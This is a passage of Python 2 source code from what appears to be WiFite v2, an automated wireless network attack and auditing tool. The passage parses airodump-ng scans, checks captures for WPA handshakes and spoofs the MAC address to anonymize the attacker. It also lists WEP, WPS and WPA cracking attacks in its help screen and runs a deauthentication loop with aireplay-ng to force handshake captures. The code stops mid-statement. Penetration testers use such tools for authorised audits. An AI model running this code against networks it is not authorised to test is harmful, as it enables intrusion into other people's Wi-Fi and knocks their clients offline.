  1422. else:
  1423. print GR + ' [+]' + O,
  1424. print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W)
  1425.  
  1426. for finding in self.RUN_CONFIG.WPA_FINDINGS:
  1427. print ' ' + C + finding + W
  1428.  
  1429. if wep_total > 0:
  1430. if wep_success == 0:
  1431. print GR + ' [+]' + R,
  1432. elif wep_success == wep_total:
  1433. print GR + ' [+]' + G,
  1434. else:
  1435. print GR + ' [+]' + O,
  1436. print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W)
  1437.  
  1438. for finding in self.RUN_CONFIG.WEP_FINDINGS:
  1439. print ' ' + C + finding + W
  1440.  
  1441. caps = len(self.RUN_CONFIG.WPA_CAPS_TO_CRACK)
  1442. if caps > 0 and not self.RUN_CONFIG.WPA_DONT_CRACK:
  1443. print GR + ' [+]' + W + ' starting ' + G + 'WPA cracker' + W + ' on %s%d handshake%s' % (
  1444. G, caps, W if caps == 1 else 's' + W)
  1445. for cap in self.RUN_CONFIG.WPA_CAPS_TO_CRACK:
  1446. wpa_crack(cap, self.RUN_CONFIG)
  1447.  
  1448. print ''
  1449. self.RUN_CONFIG.exit_gracefully(0)
  1450.  
  1451. def parse_csv(self, filename):
  1452. """
  1453. Parses given lines from airodump-ng CSV file.
  1454. Returns tuple: List of targets and list of clients.
  1455. """
  1456. if not os.path.exists(filename): return ([], [])
  1457. targets = []
  1458. clients = []
  1459. try:
  1460. hit_clients = False
  1461. with open(filename, 'rb') as csvfile:
  1462. targetreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',')
  1463. for row in targetreader:
  1464. if len(row) < 2:
  1465. continue
  1466. if not hit_clients:
  1467. if row[0].strip() == 'Station MAC':
  1468. hit_clients = True
  1469. continue
  1470. if len(row) < 14:
  1471. continue
  1472. if row[0].strip() == 'BSSID':
  1473. continue
  1474. enc = row[5].strip()
  1475. wps = False
  1476. # Ignore non-WPA and non-WEP encryption
  1477. if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue
  1478. if self.RUN_CONFIG.WEP_DISABLE and enc.find('WEP') != -1: continue
  1479. if self.RUN_CONFIG.WPA_DISABLE and self.RUN_CONFIG.WPS_DISABLE and enc.find(
  1480. 'WPA') != -1: continue
  1481. if enc == "WPA2WPA" or enc == "WPA2 WPA":
  1482. enc = "WPA2"
  1483. wps = True
  1484. if len(enc) > 4:
  1485. enc = enc[4:].strip()
  1486. power = int(row[8].strip())
  1487.  
  1488. ssid = row[13].strip()
  1489. ssidlen = int(row[12].strip())
  1490. ssid = ssid[:ssidlen]
  1491.  
  1492. if power < 0: power += 100
  1493. t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid)
  1494. t.wps = wps
  1495. targets.append(t)
  1496. else:
  1497. if len(row) < 6:
  1498. continue
  1499. bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip())
  1500. station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip())
  1501. power = row[3].strip()
  1502. if station != 'notassociated':
  1503. c = Client(bssid, station, power)
  1504. clients.append(c)
  1505. except IOError as e:
  1506. print "I/O error({0}): {1}".format(e.errno, e.strerror)
  1507. return ([], [])
  1508.  
  1509. return (targets, clients)
  1510.  
  1511. def analyze_capfile(self, capfile):
  1512. """
  1513. Analyzes given capfile for handshakes using various programs.
  1514. Prints results to console.
  1515. """
  1516. # we're not running an attack
  1517. wpa_attack = WPAAttack(None, None, None, None)
  1518.  
  1519. if self.RUN_CONFIG.TARGET_ESSID == '' and self.RUN_CONFIG.TARGET_BSSID == '':
  1520. print R + ' [!]' + O + ' target ssid and bssid are required to check for handshakes'
  1521. print R + ' [!]' + O + ' please enter essid (access point name) using -e <name>'
  1522. print R + ' [!]' + O + ' and/or target bssid (mac address) using -b <mac>\n'
  1523. # exit_gracefully(1)
  1524.  
  1525. if self.RUN_CONFIG.TARGET_BSSID == '':
  1526. # Get the first BSSID found in tshark!
  1527. self.RUN_CONFIG.TARGET_BSSID = get_bssid_from_cap(self.RUN_CONFIG.TARGET_ESSID, capfile)
  1528. # if TARGET_BSSID.find('->') != -1: TARGET_BSSID == ''
  1529. if self.RUN_CONFIG.TARGET_BSSID == '':
  1530. print R + ' [!]' + O + ' unable to guess BSSID from ESSID!'
  1531. else:
  1532. print GR + ' [+]' + W + ' guessed bssid: %s' % (G + self.RUN_CONFIG.TARGET_BSSID + W)
  1533.  
  1534. if self.RUN_CONFIG.TARGET_BSSID != '' and self.RUN_CONFIG.TARGET_ESSID == '':
  1535. self.RUN_CONFIG.TARGET_ESSID = get_essid_from_cap(self.RUN_CONFIG.TARGET_BSSID, capfile)
  1536.  
  1537. print GR + '\n [+]' + W + ' checking for handshakes in %s' % (G + capfile + W)
  1538.  
  1539. t = Target(self.RUN_CONFIG.TARGET_BSSID, '', '', '', 'WPA', self.RUN_CONFIG.TARGET_ESSID)
  1540.  
  1541. if program_exists('pyrit'):
  1542. result = wpa_attack.has_handshake_pyrit(t, capfile)
  1543. print GR + ' [+]' + W + ' ' + G + 'pyrit' + W + ':\t\t\t %s' % (
  1544. G + 'found!' + W if result else O + 'not found' + W)
  1545. else:
  1546. print R + ' [!]' + O + ' program not found: pyrit'
  1547. if program_exists('cowpatty'):
  1548. result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=True)
  1549. print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (nonstrict):\t %s' % (
  1550. G + 'found!' + W if result else O + 'not found' + W)
  1551. result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=False)
  1552. print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (strict):\t %s' % (
  1553. G + 'found!' + W if result else O + 'not found' + W)
  1554. else:
  1555. print R + ' [!]' + O + ' program not found: cowpatty'
  1556. if program_exists('tshark'):
  1557. result = wpa_attack.has_handshake_tshark(t, capfile)
  1558. print GR + ' [+]' + W + ' ' + G + 'tshark' + W + ':\t\t\t %s' % (
  1559. G + 'found!' + W if result else O + 'not found' + W)
  1560. else:
  1561. print R + ' [!]' + O + ' program not found: tshark'
  1562. if program_exists('aircrack-ng'):
  1563. result = wpa_attack.has_handshake_aircrack(t, capfile)
  1564. print GR + ' [+]' + W + ' ' + G + 'aircrack-ng' + W + ':\t\t %s' % (
  1565. G + 'found!' + W if result else O + 'not found' + W)
  1566. else:
  1567. print R + ' [!]' + O + ' program not found: aircrack-ng'
  1568.  
  1569. print ''
  1570.  
  1571. self.RUN_CONFIG.exit_gracefully(0)
  1572.  
  1573.  
  1574. ##################
  1575. # MAIN FUNCTIONS #
  1576. ##################
  1577.  
  1578. ##############################################################
  1579. ### End Classes
  1580.  
  1581. def rename(old, new):
  1582. """
  1583. Renames file 'old' to 'new', works with separate partitions.
  1584. Thanks to hannan.sadar
  1585. """
  1586. try:
  1587. os.rename(old, new)
  1588. except os.error, detail:
  1589. if detail.errno == errno.EXDEV:
  1590. try:
  1591. copy(old, new)
  1592. except:
  1593. os.unlink(new)
  1594. raise
  1595. os.unlink(old)
  1596. # if desired, deal with other errors
  1597. else:
  1598. raise
  1599.  
  1600.  
  1601. def banner(RUN_CONFIG):
  1602. """
  1603. Displays ASCII art of the highest caliber.
  1604. """
  1605. print ''
  1606. print G + " .;' `;, "
  1607. print G + " .;' ,;' `;, `;, " + W + "WiFite v2.0 (r" + str(RUN_CONFIG.REVISION) + ")"
  1608. print G + ".;' ,;' ,;' `;, `;, `;, "
  1609. print G + ":: :: : " + GR + "( )" + G + " : :: :: " + GR + "automated wireless auditor"
  1610. print G + "':. ':. ':. " + GR + "/_\\" + G + " ,:' ,:' ,:' "
  1611. print G + " ':. ':. " + GR + "/___\\" + G + " ,:' ,:' " + G + "try the new version:"
  1612. print G + " ':. " + GR + "/_____\\" + G + " ,:' " + C + "https://github.com/derv82/wifite2"
  1613. print G + " " + GR + "/ \\" + G + " "
  1614. print W
  1615.  
  1616.  
  1617. def help():
  1618. """
  1619. Prints help screen
  1620. """
  1621.  
  1622. head = W
  1623. sw = G
  1624. var = GR
  1625. des = W
  1626. de = G
  1627.  
  1628. print head + ' COMMANDS' + W
  1629. print sw + '\t-check ' + var + '<file>\t' + des + 'check capfile ' + var + '<file>' + des + ' for handshakes.' + W
  1630. print sw + '\t-cracked \t' + des + 'display previously-cracked access points' + W
  1631. print sw + '\t-recrack \t' + des + 'allow recracking of previously cracked access points' + W
  1632. print ''
  1633.  
  1634. print head + ' GLOBAL' + W
  1635. print sw + '\t-all \t' + des + 'attack all targets. ' + de + '[off]' + W
  1636. #print sw+'\t-pillage \t'+des+'attack all targets in a looping fashion.'+de+'[off]'+W
  1637. print sw + '\t-i ' + var + '<iface> \t' + des + 'wireless interface for capturing ' + de + '[auto]' + W
  1638. print sw + '\t-mon-iface ' + var + '<monitor_interface> \t' + des + 'interface in monitor mode for capturing ' + de + '[auto]' + W
  1639. print sw + '\t-mac \t' + des + 'anonymize mac address ' + de + '[off]' + W
  1640. print sw + '\t-c ' + var + '<channel>\t' + des + 'channel to scan for targets ' + de + '[auto]' + W
  1641. print sw + '\t-e ' + var + '<essid> \t' + des + 'target a specific access point by ssid (name) ' + de + '[ask]' + W
  1642. print sw + '\t-b ' + var + '<bssid> \t' + des + 'target a specific access point by bssid (mac) ' + de + '[auto]' + W
  1643. print sw + '\t-showb \t' + des + 'display target BSSIDs after scan ' + de + '[off]' + W
  1644. print sw + '\t-pow ' + var + '<db> \t' + des + 'attacks any targets with signal strenghth > ' + var + 'db ' + de + '[0]' + W
  1645. print sw + '\t-quiet \t' + des + 'do not print list of APs during scan ' + de + '[off]' + W
  1646. print ''
  1647.  
  1648. print head + '\n WPA' + W
  1649. print sw + '\t-wpa \t' + des + 'only target WPA networks (works with -wps -wep) ' + de + '[off]' + W
  1650. print sw + '\t-wpat ' + var + '<sec> \t' + des + 'time to wait for WPA attack to complete (seconds) ' + de + '[500]' + W
  1651. print sw + '\t-wpadt ' + var + '<sec> \t' + des + 'time to wait between sending deauth packets (sec) ' + de + '[10]' + W
  1652. print sw + '\t-strip \t' + des + 'strip handshake using tshark or pyrit ' + de + '[off]' + W
  1653. print sw + '\t-crack ' + var + '<dic>\t' + des + 'crack WPA handshakes using ' + var + '<dic>' + des + ' wordlist file ' + de + '[off]' + W
  1654. print sw + '\t-dict ' + var + '<file>\t' + des + 'specify dictionary to use when cracking WPA ' + de + '[phpbb.txt]' + W
  1655. print sw + '\t-aircrack \t' + des + 'verify handshake using aircrack ' + de + '[on]' + W
  1656. print sw + '\t-pyrit \t' + des + 'verify handshake using pyrit ' + de + '[off]' + W
  1657. print sw + '\t-tshark \t' + des + 'verify handshake using tshark ' + de + '[on]' + W
  1658. print sw + '\t-cowpatty \t' + des + 'verify handshake using cowpatty ' + de + '[off]' + W
  1659.  
  1660. print head + '\n WEP' + W
  1661. print sw + '\t-wep \t' + des + 'only target WEP networks ' + de + '[off]' + W
  1662. print sw + '\t-pps ' + var + '<num> \t' + des + 'set the number of packets per second to inject ' + de + '[600]' + W
  1663. print sw + '\t-wept ' + var + '<sec> \t' + des + 'sec to wait for each attack, 0 implies endless ' + de + '[600]' + W
  1664. print sw + '\t-chopchop \t' + des + 'use chopchop attack ' + de + '[on]' + W
  1665. print sw + '\t-arpreplay \t' + des + 'use arpreplay attack ' + de + '[on]' + W
  1666. print sw + '\t-fragment \t' + des + 'use fragmentation attack ' + de + '[on]' + W
  1667. print sw + '\t-caffelatte \t' + des + 'use caffe-latte attack ' + de + '[on]' + W
  1668. print sw + '\t-p0841 \t' + des + 'use -p0841 attack ' + de + '[on]' + W
  1669. print sw + '\t-hirte \t' + des + 'use hirte (cfrag) attack ' + de + '[on]' + W
  1670. print sw + '\t-nofakeauth \t' + des + 'stop attack if fake authentication fails ' + de + '[off]' + W
  1671. print sw + '\t-wepca ' + GR + '<n> \t' + des + 'start cracking when number of ivs surpass n ' + de + '[10000]' + W
  1672. print sw + '\t-wepsave \t' + des + 'save a copy of .cap files to this directory ' + de + '[off]' + W
  1673.  
  1674. print head + '\n WPS' + W
  1675. print sw + '\t-wps \t' + des + 'only target WPS networks ' + de + '[off]' + W
  1676. print sw + '\t-wpst ' + var + '<sec> \t' + des + 'max wait for new retry before giving up (0: never) ' + de + '[660]' + W
  1677. print sw + '\t-wpsratio ' + var + '<per>\t' + des + 'min ratio of successful PIN attempts/total tries ' + de + '[0]' + W
  1678. print sw + '\t-wpsretry ' + var + '<num>\t' + des + 'max number of retries for same PIN before giving up ' + de + '[0]' + W
  1679.  
  1680. print head + '\n EXAMPLE' + W
  1681. print sw + '\t./wifite.py ' + W + '-wps -wep -c 6 -pps 600' + W
  1682. print ''
  1683.  
  1684.  
  1685. ###########################
  1686. # WIRELESS CARD FUNCTIONS #
  1687. ###########################
  1688.  
  1689.  
  1690.  
  1691.  
  1692. ######################
  1693. # SCANNING FUNCTIONS #
  1694. ######################
  1695.  
  1696.  
  1697.  
  1698.  
  1699.  
  1700. def wps_check_targets(targets, cap_file, verbose=True):
  1701. """
  1702. Uses tshark to check access points in cap_file for WPS functionality.
  1703. Sets "wps" field of targets that match to True.
  1704. """
  1705. global RUN_CONFIG
  1706.  
  1707. if not program_exists('tshark'):
  1708. RUN_CONFIG.WPS_DISABLE = True # Tell 'scan' we were unable to execute tshark
  1709. return
  1710.  
  1711. if len(targets) == 0 or not os.path.exists(cap_file): return
  1712.  
  1713. if verbose:
  1714. print GR + ' [+]' + W + ' checking for ' + G + 'WPS compatibility' + W + '...',
  1715. stdout.flush()
  1716.  
  1717. cmd = [
  1718. 'tshark',
  1719. '-r', cap_file, # Path to cap file
  1720. '-n', # Don't resolve addresses
  1721. # Filter WPS broadcast packets
  1722. '-Y', 'wps.wifi_protected_setup_state && wlan.da == ff:ff:ff:ff:ff:ff',
  1723. '-T', 'fields', # Only output certain fields
  1724. '-e', 'wlan.ta', # BSSID
  1725. '-e', 'wps.ap_setup_locked', # Locked status
  1726. '-E', 'separator=,' # CSV
  1727. ]
  1728. proc_tshark = Popen(cmd, stdout=PIPE, stderr=DN)
  1729. proc_tshark.wait()
  1730. tshark_stdout, _ = proc_tshark.communicate()
  1731. bssid_regex = re.compile("([A-F0-9\:]{17})", re.IGNORECASE)
  1732. bssids = [bssid.upper() for bssid in bssid_regex.findall(tshark_stdout)]
  1733. for t in targets:
  1734. if t.bssid.upper() in bssids:
  1735. t.wps = True
  1736. t.wps = t.bssid.upper() in bssids
  1737. if verbose:
  1738. print 'done'
  1739. removed = 0
  1740. if not RUN_CONFIG.WPS_DISABLE and RUN_CONFIG.WPA_DISABLE:
  1741. i = 0
  1742. while i < len(targets):
  1743. if not targets[i].wps and targets[i].encryption.find('WPA') != -1:
  1744. removed += 1
  1745. targets.pop(i)
  1746. else:
  1747. i += 1
  1748. if removed > 0 and verbose: print GR + ' [+]' + O + ' removed %d non-WPS-enabled targets%s' % (removed, W)
  1749.  
  1750.  
  1751. def print_and_exec(cmd):
  1752. """
  1753. Prints and executes command "cmd". Also waits half a second
  1754. Used by rtl8187_fix (for prettiness)
  1755. """
  1756. print '\r \r',
  1757. stdout.flush()
  1758. print O + ' [!] ' + W + 'executing: ' + O + ' '.join(cmd) + W,
  1759. stdout.flush()
  1760. call(cmd, stdout=DN, stderr=DN)
  1761. time.sleep(0.1)
  1762.  
  1763.  
  1764. ####################
  1765. # HELPER FUNCTIONS #
  1766. ####################
  1767.  
  1768. def remove_airodump_files(prefix):
  1769. """
  1770. Removes airodump output files for whatever file prefix ('wpa', 'wep', etc)
  1771. Used by wpa_get_handshake() and attack_wep()
  1772. """
  1773. global RUN_CONFIG
  1774. remove_file(prefix + '-01.cap')
  1775. remove_file(prefix + '-01.csv')
  1776. remove_file(prefix + '-01.kismet.csv')
  1777. remove_file(prefix + '-01.kismet.netxml')
  1778. for filename in os.listdir(RUN_CONFIG.temp):
  1779. if filename.lower().endswith('.xor'): remove_file(RUN_CONFIG.temp + filename)
  1780. for filename in os.listdir('.'):
  1781. if filename.startswith('replay_') and filename.endswith('.cap'):
  1782. remove_file(filename)
  1783. if filename.endswith('.xor'): remove_file(filename)
  1784. # Remove .cap's from previous attack sessions
  1785. """i = 2
  1786. while os.path.exists(temp + 'wep-' + str(i) + '.cap'):
  1787. os.remove(temp + 'wep-' + str(i) + '.cap')
  1788. i += 1
  1789. """
  1790.  
  1791.  
  1792. def remove_file(filename):
  1793. """
  1794. Attempts to remove a file. Does not throw error if file is not found.
  1795. """
  1796. try:
  1797. os.remove(filename)
  1798. except OSError:
  1799. pass
  1800.  
  1801.  
  1802. def program_exists(program):
  1803. """
  1804. Uses 'which' (linux command) to check if a program is installed.
  1805. """
  1806.  
  1807. proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)
  1808. txt = proc.communicate()
  1809. if txt[0].strip() == '' and txt[1].strip() == '':
  1810. return False
  1811. if txt[0].strip() != '' and txt[1].strip() == '':
  1812. return True
  1813.  
  1814. return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)
  1815.  
  1816.  
  1817. def sec_to_hms(sec):
  1818. """
  1819. Converts integer sec to h:mm:ss format
  1820. """
  1821. if sec <= -1: return '[endless]'
  1822. h = sec / 3600
  1823. sec %= 3600
  1824. m = sec / 60
  1825. sec %= 60
  1826. return '[%d:%02d:%02d]' % (h, m, sec)
  1827.  
  1828.  
  1829. def send_interrupt(process):
  1830. """
  1831. Sends interrupt signal to process's PID.
  1832. """
  1833. try:
  1834. os.kill(process.pid, SIGINT)
  1835. # os.kill(process.pid, SIGTERM)
  1836. except OSError:
  1837. pass # process cannot be killed
  1838. except TypeError:
  1839. pass # pid is incorrect type
  1840. except UnboundLocalError:
  1841. pass # 'process' is not defined
  1842. except AttributeError:
  1843. pass # Trying to kill "None"
  1844.  
  1845.  
  1846. def get_mac_address(iface):
  1847. """
  1848. Returns MAC address of "iface".
  1849. """
  1850. proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1851. proc.wait()
  1852. mac = ''
  1853. output = proc.communicate()[0]
  1854. mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
  1855. match = re.search(' (%s)' % mac_regex, output)
  1856. if match:
  1857. mac = match.groups()[0].replace('-', ':')
  1858. return mac
  1859.  
  1860.  
  1861. def generate_random_mac(old_mac):
  1862. """
  1863. Generates a random MAC address.
  1864. Keeps the same vender (first 6 chars) of the old MAC address (old_mac).
  1865. Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex
  1866. """
  1867. random.seed()
  1868. new_mac = old_mac[:8].lower().replace('-', ':')
  1869. for i in xrange(0, 6):
  1870. if i % 2 == 0: new_mac += ':'
  1871. new_mac += '0123456789abcdef'[random.randint(0, 15)]
  1872.  
  1873. # Prevent generating the same MAC address via recursion.
  1874. if new_mac == old_mac:
  1875. new_mac = generate_random_mac(old_mac)
  1876. return new_mac
  1877.  
  1878.  
  1879. def mac_anonymize(iface):
  1880. """
  1881. Changes MAC address of 'iface' to a random MAC.
  1882. Only randomizes the last 6 digits of the MAC, so the vender says the same.
  1883. Stores old MAC address and the interface in ORIGINAL_IFACE_MAC
  1884. """
  1885. global RUN_CONFIG
  1886. if RUN_CONFIG.DO_NOT_CHANGE_MAC: return
  1887. if not program_exists('ifconfig'): return
  1888.  
  1889. # Store old (current) MAC address
  1890. proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1891. proc.wait()
  1892. for word in proc.communicate()[0].split('\n')[0].split(' '):
  1893. if word != '': old_mac = word
  1894. RUN_CONFIG.ORIGINAL_IFACE_MAC = (iface, old_mac)
  1895.  
  1896. new_mac = generate_random_mac(old_mac)
  1897.  
  1898. call(['ifconfig', iface, 'down'])
  1899.  
  1900. print GR + " [+]" + W + " changing %s's MAC from %s to %s..." % (G + iface + W, G + old_mac + W, O + new_mac + W),
  1901. stdout.flush()
  1902.  
  1903. proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN)
  1904. proc.wait()
  1905. call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1906. print 'done'
  1907.  
  1908.  
  1909. def mac_change_back():
  1910. """
  1911. Changes MAC address back to what it was before attacks began.
  1912. """
  1913. global RUN_CONFIG
  1914. iface = RUN_CONFIG.ORIGINAL_IFACE_MAC[0]
  1915. old_mac = RUN_CONFIG.ORIGINAL_IFACE_MAC[1]
  1916. if iface == '' or old_mac == '': return
  1917.  
  1918. print GR + " [+]" + W + " changing %s's mac back to %s..." % (G + iface + W, G + old_mac + W),
  1919. stdout.flush()
  1920.  
  1921. call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN)
  1922. proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN)
  1923. proc.wait()
  1924. call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1925. print "done"
  1926.  
  1927.  
  1928. def get_essid_from_cap(bssid, capfile):
  1929. """
  1930. Attempts to get ESSID from cap file using BSSID as reference.
  1931. Returns '' if not found.
  1932. """
  1933. if not program_exists('tshark'): return ''
  1934.  
  1935. cmd = ['tshark',
  1936. '-r', capfile,
  1937. '-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid,
  1938. '-2', # -R is deprecated and requires -2
  1939. '-n']
  1940. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1941. proc.wait()
  1942. for line in proc.communicate()[0].split('\n'):
  1943. if line.find('SSID=') != -1:
  1944. essid = line[line.find('SSID=') + 5:]
  1945. print GR + ' [+]' + W + ' guessed essid: %s' % (G + essid + W)
  1946. return essid
  1947. print R + ' [!]' + O + ' unable to guess essid!' + W
  1948. return ''
  1949.  
  1950.  
  1951. def get_bssid_from_cap(essid, capfile):
  1952. """
  1953. Returns first BSSID of access point found in cap file.
  1954. This is not accurate at all, but it's a good guess.
  1955. Returns '' if not found.
  1956. """
  1957. global RUN_CONFIG
  1958.  
  1959. if not program_exists('tshark'): return ''
  1960.  
  1961. # Attempt to get BSSID based on ESSID
  1962. if essid != '':
  1963. cmd = ['tshark',
  1964. '-r', capfile,
  1965. '-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid),
  1966. '-2', # -R is deprecated and requires -2
  1967. '-n', # Do not resolve MAC vendor names
  1968. '-T', 'fields', # Only display certain fields
  1969. '-e', 'wlan.sa'] # souce MAC address
  1970. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1971. proc.wait()
  1972. bssid = proc.communicate()[0].split('\n')[0]
  1973. if bssid != '': return bssid
  1974.  
  1975. cmd = ['tshark',
  1976. '-r', capfile,
  1977. '-R', 'eapol',
  1978. '-2', # -R is deprecated and requires -2
  1979. '-n']
  1980. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1981. proc.wait()
  1982. for line in proc.communicate()[0].split('\n'):
  1983. if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):
  1984. while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  1985. line = line.replace('\t', ' ')
  1986. while line.find(' ') != -1: line = line.replace(' ', ' ')
  1987. return line.split(' ')[2]
  1988. elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):
  1989. while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  1990. line = line.replace('\t', ' ')
  1991. while line.find(' ') != -1: line = line.replace(' ', ' ')
  1992. return line.split(' ')[4]
  1993. return ''
  1994.  
  1995.  
  1996. def attack_interrupted_prompt():
  1997. """
  1998. Promps user to decide if they want to exit,
  1999. skip to cracking WPA handshakes,
  2000. or continue attacking the remaining targets (if applicable).
  2001. returns True if user chose to exit complete, False otherwise
  2002. """
  2003. global RUN_CONFIG
  2004. should_we_exit = False
  2005. # If there are more targets to attack, ask what to do next
  2006. if RUN_CONFIG.TARGETS_REMAINING > 0:
  2007. options = ''
  2008. print GR + "\n [+] %s%d%s target%s remain%s" % (G, RUN_CONFIG.TARGETS_REMAINING, W,
  2009. '' if RUN_CONFIG.TARGETS_REMAINING == 1 else 's',
  2010. 's' if RUN_CONFIG.TARGETS_REMAINING == 1 else '')
  2011. print GR + " [+]" + W + " what do you want to do?"
  2012. options += G + 'c' + W
  2013. print G + " [c]ontinue" + W + " attacking targets"
  2014.  
  2015. if len(RUN_CONFIG.WPA_CAPS_TO_CRACK) > 0:
  2016. options += W + ', ' + O + 's' + W
  2017. print O + " [s]kip" + W + " to cracking WPA cap files"
  2018. options += W + ', or ' + R + 'e' + W
  2019. print R + " [e]xit" + W + " completely"
  2020. ri = ''
  2021. while ri != 'c' and ri != 's' and ri != 'e':
  2022. ri = raw_input(GR + ' [+]' + W + ' please make a selection (%s): ' % options)
  2023.  
  2024. if ri == 's':
  2025. RUN_CONFIG.TARGETS_REMAINING = -1 # Tells start() to ignore other targets, skip to cracking
  2026. elif ri == 'e':
  2027. should_we_exit = True
  2028. return should_we_exit
  2029.  
  2030.  
  2031. #
  2032. # Abstract base class for attacks.
  2033. # Attacks are required to implement the following methods:
  2034. # RunAttack - Initializes the attack
  2035. # EndAttack - Cleanly ends the attack
  2036. #
  2037. class Attack(object):
  2038. __metaclass__ = abc.ABCMeta
  2039.  
  2040. @abc.abstractmethod
  2041. def RunAttack(self):
  2042. raise NotImplementedError()
  2043.  
  2044. @abc.abstractmethod
  2045. def EndAttack(self):
  2046. raise NotImplementedError()
  2047.  
  2048.  
  2049. #################
  2050. # WPA FUNCTIONS #
  2051. #################
  2052. class WPAAttack(Attack):
  2053. def __init__(self, iface, target, clients, config):
  2054. self.iface = iface
  2055. self.clients = clients
  2056. self.target = target
  2057. self.RUN_CONFIG = config
  2058.  
  2059. def RunAttack(self):
  2060. '''
  2061. Abstract method for initializing the WPA attack
  2062. '''
  2063. self.wpa_get_handshake()
  2064.  
  2065. def EndAttack(self):
  2066. '''
  2067. Abstract method for ending the WPA attack
  2068. '''
  2069. pass
  2070.  
  2071. def wpa_get_handshake(self):
  2072. """
  2073. Opens an airodump capture on the target, dumping to a file.
  2074. During the capture, sends deauthentication packets to the target both as
  2075. general deauthentication packets and specific packets aimed at connected clients.
  2076. Waits until a handshake is captured.
  2077. "iface" - interface to capture on
  2078. "target" - Target object containing info on access point
  2079. "clients" - List of Client objects associated with the target
  2080. Returns True if handshake was found, False otherwise
  2081. """
  2082.  
  2083. if self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0: self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = -1
  2084.  
  2085. # Generate the filename to save the .cap file as <SSID>_aa-bb-cc-dd-ee-ff.cap
  2086. save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
  2087. + '_' + self.target.bssid.replace(':', '-') + '.cap'
  2088.  
  2089. # Check if we already have a handshake for this SSID... If we do, generate a new filename
  2090. save_index = 0
  2091. while os.path.exists(save_as):
  2092. save_index += 1
  2093. save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
  2094. + '_' + self.target.bssid.replace(':', '-') \
  2095. + '_' + str(save_index) + '.cap'
  2096.  
  2097. file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wpa')
  2098. cap_file = file_prefix + '-01.cap'
  2099. csv_file = file_prefix + '-01.csv'
  2100.  
  2101. # Remove previous airodump output files (if needed)
  2102. remove_airodump_files(file_prefix)
  2103.  
  2104. # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C)
  2105. try:
  2106. # Start airodump-ng process to capture handshakes
  2107. cmd = ['airodump-ng',
  2108. '-w', file_prefix,
  2109. '-c', self.target.channel,
  2110. '--write-interval', '1',
  2111. '--bssid', self.target.bssid,
  2112. self.iface]
  2113. proc_read = Popen(cmd, stdout=DN, stderr=DN)
  2114.  
  2115. # Setting deauthentication process here to avoid errors later on
  2116. proc_deauth = None
  2117.  
  2118. print ' %s starting %swpa handshake capture%s on "%s"' % \
  2119. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT) + W, G, W, G + self.target.ssid + W)
  2120. got_handshake = False
  2121.  
  2122. seconds_running = 0
  2123. seconds_since_last_deauth = 0
  2124.  
  2125. target_clients = self.clients[:]
  2126. client_index = -1
  2127. start_time = time.time()
  2128. # Deauth and check-for-handshake loop
  2129. while not got_handshake and (
  2130. self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0 or seconds_running < self.RUN_CONFIG.WPA_ATTACK_TIMEOUT):
  2131. if proc_read.poll() != None:
  2132. print ""
  2133. print "airodump-ng exited with status " + str(proc_read.poll())
  2134. print ""
  2135. break
  2136. time.sleep(1)
  2137. seconds_since_last_deauth += int(time.time() - start_time - seconds_running)
  2138. seconds_running = int(time.time() - start_time)
  2139.  
  2140. print " \r",
  2141. print ' %s listening for handshake...\r' % \
  2142. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W),
  2143. stdout.flush()
  2144.  
  2145. if seconds_since_last_deauth > self.RUN_CONFIG.WPA_DEAUTH_TIMEOUT:
  2146. seconds_since_last_deauth = 0
  2147. # Send deauth packets via aireplay-ng
  2148. cmd = ['aireplay-ng',
  2149. '--ignore-negative-one',
  2150. '--deauth',
  2151. str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), # Number of packets to send
  2152. '-a', self.target.bssid]
  2153.  
  2154. client_index += 1
  2155.  
  2156. if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients):
  2157. print " %s sending %s deauth to %s*broadcast*%s..." % \
  2158. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W,
